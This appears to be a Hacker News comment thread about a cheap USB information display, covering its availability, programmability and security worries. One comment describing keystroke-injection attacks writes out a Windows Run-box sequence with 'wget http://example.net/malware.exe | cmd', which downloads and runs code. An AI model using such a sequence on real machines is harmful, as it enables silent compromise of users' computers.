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$2 WeAct Display FS adds a 0.96-inch USB information display to your computer
- downrightmike 1y agodead link
- inChargeOfIT 1y agoworks for me
- dark-star 1y agoAliExpress links are often geo-restricted and only work from some country/countries.
- VladVladikoff 1y agoWould be cool if I could reprogram it for some other output, because I don’t really see the need for this except for maybe on a raspberry pi “server”.
- squigz 1y agoYou can? As linked in the article, it's open source and supports custom themes/UIs https://github.com/WeActStudio/WeActStudio.SystemMonitor https://github.com/WeActStudio/WeActStudio.SystemMonitor
- gregsadetsky 1y agoThis display is definitely programmable to show any output you'd want. A similar display is the Turing Smart Screen (linked in the article) which is a small image-over-usb display. ((I really wanted the latter display to work on my Mac, but there's unfortunately some OS-level USB buffering (I think) that ends up creating a corrupted image - https://github.com/mathoudebine/turing-smart-screen-python/issues/7 https://github.com/mathoudebine/turing-smart-screen-python/i... ))
- wewewedxfgdf 1y ago>>> I don’t really see the need for this Yes that's the essence of most hobby computing.
- haunter 1y agoAand it's gone https://www.aliexpress.com/item/1005009941797169.html https://www.aliexpress.com/item/1005009941797169.html
- smilespray 1y agohttps://www.aliexpress.com/item/1005009976304564.html https://www.aliexpress.com/item/1005009976304564.html
- haunter 1y agoSaw it too late but thanks, gonna keep an eye on them
- grizzles 1y agoSeems perfect for a YubiKey type of device. Know where your authenticating to.
- derefr 1y agoCrypto hardware wallets have had little screens on them for ages now, for this same reason. Rather than trusting the app to tell you the truth about the tx it's presenting your key to sign, your key shows you the tx hash / amount to be transferred / etc, and asks you to make sure the details match before approving.
- hsbauauvhabzb 1y ago[flagged]
- milkshakes 1y agoyubikeys already know who they are authenticating to. the relying party is verified as part of the FIDO2/CTAP2 protocol
- ahmedfromtunis 1y agoFor some reason, nothing says "future" to me more than having tiny screens embedded where they're not absolutely needed. When I grew up in the 90s and 00s, screens were definitely the most expensive part of any system they belonged to. And any gadget that came with its own screen attached to it was regarded as a delicacy only for the elite. Living long enough to see "disposable" screens cheaper than literal candy getting attached everywhere makes me happy. Can't wait to see Gemini-2.5 Pro-level LLMs embedded inside single post-it notes and thrown away like it's no big deal.
- bee_rider 1y agoI wonder if the previous generation felt that way about the little unlit LCDs that used to be in everything (although, I bet they were more than $2 adjusted for inflation).
- nick49488171 1y agoSide-lit multi-segment displays were so futuristic.
- p_ing 1y ago> For some reason, nothing says "future" to me more than having tiny screens embedded where they're not absolutely needed. Like this? https://www.tomshardware.com/pc-components/ram/new-ddr5-module-features-an-oled-display-you-probably-wont-see-after-installation-shows-off-rams-specs-and-vitals https://www.tomshardware.com/pc-components/ram/new-ddr5-modu...
- to11mtm 1y ago... I don't get why folks would want to use such ram sticks... That said, I am very appreciative of my 'inline USB-C power draw monitor' from a standpoint of understanding what kind of draw a given device has (up to it's limit ofc)
- QuantumNomad_ 1y ago
- JdeBP 1y agoAlarm bells always go off for me when a vendor, as here, blatantly Photoshops an idealized perfectly black, flat, and non-reflective mockup image of what would be displayed onto the picture of the real display.
- realo 1y agoIf it is oled it will be a perfectly black background.
- reaperducer 1y agoThe author of the article admits he's never actually seen the item he's reviewing. The pictures are from the manufacturer. It may be a cool gadget, but it may be vaporware and/or blogspam.
- JdeBP 1y ago… or the real thing powered on and operating may actually look bad and people would not buy it if they knew what reading it would be like in practice.
- userbinator 1y agoAll LCD vendors do that.
- rr808 1y agoOne thing I would like is a small portable hdmi display to use with my headless servers when they fail to boot. Even better would show screen over network.
- jsheard 1y agoHow small are we talking? There are tons of cheap portable monitors built around laptop panels.
- rr808 1y agoIts for my closet so I wanted smaller - like < 10 inch. You inspired me to look again and you're right they're available in this size. thanks. Still would like a network solution as well btw. :)
- jsheard 1y agoI can't vouch for any particular one, but there are a number of cheap network KVMs now which enable that kind of remote management. e.g. https://www.cnx-software.com/2025/03/21/jetkvm-a-69-kvm-over-ip-solution-with-open-source-software/ https://www.cnx-software.com/2025/03/21/jetkvm-a-69-kvm-over...
- rr808 1y agoOK awesome. JetKVM looks perfect, I saw wireless hdmi as well but this is better.
- Scoundreller 1y agoJust be careful with wireless hdmi. 5ghz should go through walls but 60ghz won’t even go through a curtain.
- mmastrac 1y agoAliExpress has a beautiful 7" screen for peanuts. It has a surprisingly clear display and has so many uses: https://youtu.be/LC3INaZVqFA?si=2BV5N3_7TtWPRlUj https://youtu.be/LC3INaZVqFA?si=2BV5N3_7TtWPRlUj It even has USB power and speakers.
- weinzierl 1y agoI recently researched USB connected information displays but I am interested in e-Ink. I want - USB power + data - Open interface so I can drive it from my own software on the host (but not like a traditional monitor, I imagine more uploading pre-rendered bitmaps) - Image retention when powered off - High resolution paper like appearance - Between A5 and A4 in size - At least black, red and yellow as colors - Buttons or a way to connect buttons would be a bonus If anyone has a tip, I'd be grateful.
- teruakohatu 1y agoPeople have had this dream for probably close to 20 years (since Kindle v1). And yet it still seems out of reach beyond going with a full hdmi eink display. The closest I have found is the M5Stack 4.7” eink display with built in esp32 and lipo battery.
- martin8412 1y agoA single company controls the patents for eInk displays, so that’s why it hasn’t happened. China could probably pump them out for cheap.
- adolph 1y agoSeeed Studio is pumping out somewhat smaller sized e-ink with relatively open hardware for Trminal use https://www.cnx-software.com/2025/09/06/reterminal-e1001-e1002-esp32-s3-monochrome-color-epaper-displays/ https://www.cnx-software.com/2025/09/06/reterminal-e1001-e10...
- theossuary 1y agoI really want a little USB drive with an eink display on it so I can set a label for each of my drives
- oezi 1y agoLike ESL price tags? https://www.alibaba.com/showroom/electronic-shelf-label.html https://www.alibaba.com/showroom/electronic-shelf-label.html
- citizenpaul 1y agoAAAAANnndd its out of stock. Nice work HN!
- amelius 1y agoWhat was that extra bar of information called on Macbooks? Were they a success?
- yborg 1y agoIt wasn't worth the extra cost to Apple to support it since the vast majority of consumers didn't care about it one way or the other.
- hoherd 1y agoSure, but I would never put the linked device on my laptop. I would put it on a headless server.
- 0x457 1y agoTouch Bar. Given that it was removed in 2021 I'd say - No. However, the issue for me with it was that it replaced a functional key that I want to be tactile. While it's nice to slide a finger to control brightness and volume... I still want actual Esc and co to be physical keys.
- maccard 1y agoI agree. The contextual UI was great and I loved it, but having it instead of the top keyboard row was a terrible idea
- mbreese 1y agoAgreed. The mistake was trying to make them replace function keys. If it was an additional info display/touch input, that would have potentially been interesting. But instead of getting something extra, we lost something in the process.
- deleted 1y ago[deleted]
- vasac 1y agoLater, they made Macs with both a physical Esc key and a Touch Bar. It was a bit better, but it still sucked.
- mosura 1y agoCurious this is so highly voted. These displays are absolutely tiny.
- estimator7292 1y agoThat's the point
- moralestapia 1y agoNeat! This is exactly what I was looking for the other day.
- yellowapple 1y agoI feel like the winning move here would be to put the screen on a ball joint or hinge to give more options than just “face forward” v. “face backward”.
- trollbridge 1y agoProbably can’t do that for $2.
- yellowapple 1y agoThen just sell it as the Deluxe™ version for $9.99, problem solved :)
- nh43215rgb 1y ago"it’s USB so it can also suddenly change into a keyboard and inject keystrokes to steal your files and upload them "
- rcarmo 1y agoAnd exactly how would it be able to achieve that?
- aaronmdjones 1y agoMalicious USB dongles capable of achieving this have been demonstrated before. For example, a Windows-targetting variant injects the keyboard sequence Super+R (Sleep for 1 second) powershell.exe (Enter) (Sleep for 1 second) wget http://example.net/malware.exe | cmd (Enter) For example, a Rubber Ducky [1] can trivially be configured to accomplish this with the included tooling in under 5 minutes. [1] https://shop.hak5.org/products/usb-rubber-ducky https://shop.hak5.org/products/usb-rubber-ducky
- deleted 1y ago[deleted]
- sciencesama 1y agoThese are the same displays used in the fancy vapes !
- aloer 1y agoThere is a lot of overlap between this and "modern" nixie tube clocks such as this one: https://www.amazon.com/LONYIABBI-Electronic-Simulation-Powered-Decoration/dp/B09MHMXZ98 https://www.amazon.com/LONYIABBI-Electronic-Simulation-Power... I'd speculate those came first (kinda popular with streamers and such, I think) and they basically just added a usb port. In the product video you can even see that they arrive as individual sticks to be plugged in. It is probably easier and cheaper to have 6x separate display & microcontroller and update each one independently
- dangus 1y agoPretty cool, but I’d definitely recommend anyone interested in little screens pick up a used Stream Deck for around $70 on eBay. Obviously it’s not the same price range but the Stream Deck is way more useful and user friendly.
- joshu 1y agowe could end so much security pain by having a dedicated display for authentication. It’s not like a second display is very expensive anymore…
- Too 1y agoThat's more or less what you get when enabling MFA with Authenticator on your iPhone. Banking used to have dedicated dongles with displays before but now also changed to apps. Yubikeys don't seem to be as popular as they deserve. People simply want to carry less things around that can be lost and it's hard to beat the security/convenience ratio of Face ID.
- reversengineer 1y agoOn the surface, cool idea, but seems like a huge security risk.
- chubs 1y agoAnyone know if this or similar devices can display information sent from some code I write in, say, rust without drivers or libraries (eg should not be too complicated to write to) on macOS? Could be a lot of fun to be had!
- Tepix 1y agoThe 0.96“ OLEDs (not all of them true RGB) have been dirt cheap on AliExpress for years now.
- sciencesama 1y agoAny idea whats the dpi is ?
- fooker 1y agoWhat's stopping this thing from keylogging or inserting keystrokes? Malicious USB devices are fairly common, and this certainly has the 'right' form factor. There's a reason 'do not plug in a USB drive you have found in the parking lot' is reiterated in every corp security training.
- userbinator 1y agoKeylogging? Just how do you think it can read any keystrokes? As for inserting keystrokes, that will be obvious if it enumerates as a keyboard. You should turn down your paranoia a little more.
- phito 1y agoYou need to install an executable on your machine.
- croes 1y agoThe better attack vector would be the programs you need to use the display
- fooker 1y agoThere are plenty of USB keyloggers available for purchase right now. While I can try and conjecture how those might work, that's not really in my lane.
- aaronmdjones 1y agoThose work by sitting between the real keyboard and the computer, often deliberately designed to appear as an innocuous adapter (say, a USB-A keyboard plugged into a PC's USB-C port or vice versa) or extension cable.
- aaronmdjones 1y ago> As for inserting keystrokes, that will be obvious if it enumerates as a keyboard. This is true, but this also doesn't need to happen at insertion time. An HID keyboard can show up, say, 3 hours after you plug it in. I miss grsecurity's patch set so much. It had an option to defeat this (deny all USB device enumeration post-boot, i.e. after the kernel executes init).
- wiradikusuma 1y agoThis kind of "tinkering stuff" makes me want to buy it just because. Of course, once I have it, it will end up inside the drawer collecting dust along with my RPi, ESP32, etc...
- apt-apt-apt-apt 1y agoHa, I also have an RPi, Pinephone box. Sad that these Linux phones were basically a hope-scam.
- cdaringe 1y agoThe hope is still alive
- Cheer2171 1y agoThis is just an ESP32 with a display
- ornornor 1y agoIn a neat package/form factor and software. And for 2$. I don’t see a reason why you’d buy the components separate, it’ll probably cost you way more time and money. Or am I missing the point of your comment?
- andrewstuart 1y ago“The project” - your creative drive to “do a project with this device” is completely fulfilled by purchasing. It’s a strange thing but there’s a direct line from creative desire to buying then not doing. This is why I have so much electronics junk it’s all projects that I “completed” when I hit the buy button on Aliexpress.
- praptak 1y agoI'm trying to channel my tinkering drive into software projects. Somehow these usually to get at least to the "hello world" level. Also, when left unfinished, they don't occupy the precious 3D space around me. Also I need to sell an oscilloscope and a bench power supply :)
- Havoc 1y agoLooks good. Really wish they'd include a real life image of the display though. Article author acknowledges this, but still...substantially detracts usefulness of write-up >Not an actual photo, as I could not find any with the display connected to a host
- albert_e 1y agoOn personal computers (laptops) I would like to see a ambient info display and/or edge lighting / indicator option that can be customized and conrolled by software. One of the use cases i like is a visible indicator of when the Video camera/ screenshare or microphone is on -- and if the user wishes to, display that status (busy/on air) to others around them (like some over-the-ear headphones currently do). It will serve was a reminder to the user themselves to be mindful of the cam/screen/mic -- and also to nearby people not to disturb them to walk into camera frame unintentionally. I am sure there are tons of other uses for those willing to experiment.
- sschueller 1y agoThere is a similar device from lilygo which has an ESP32S3 plus also a SDCard slot all in one USB stick. It is available all over Aliexpress for around $10. You do have to code it yourself if you want to display information on it. However it has all the goodies of the ESP32S3 which is a very powerful MCU with wifi and bluetooth. For fun I ported my railway station display [2] firmware which also runs on a ESP32S3 to it [3]. Cool little gadget. [1] https://lilygo.cc/products/t-dongle-s3 https://lilygo.cc/products/t-dongle-s3 [2] https://www.stationdisplay.com/ https://www.stationdisplay.com/ [2] https://imgur.com/a/yXjK3Ge https://imgur.com/a/yXjK3Ge
- mrlonglong 1y agoSold out.
- KingOfCoders 1y agoAnd with some probability some malware.
- DemocracyFTW2 1y ago0.96-inch USB display dongle -> ⁶¹/₆₄″ USB display dongle
- burnt-resistor 1y agoWithout seeing a security audit of it, I don't trust running random shit from AliExpress like NanoKVM on my network or on my machines. It could well be cheap to get a bunch of Westerners to self-pwn their machines.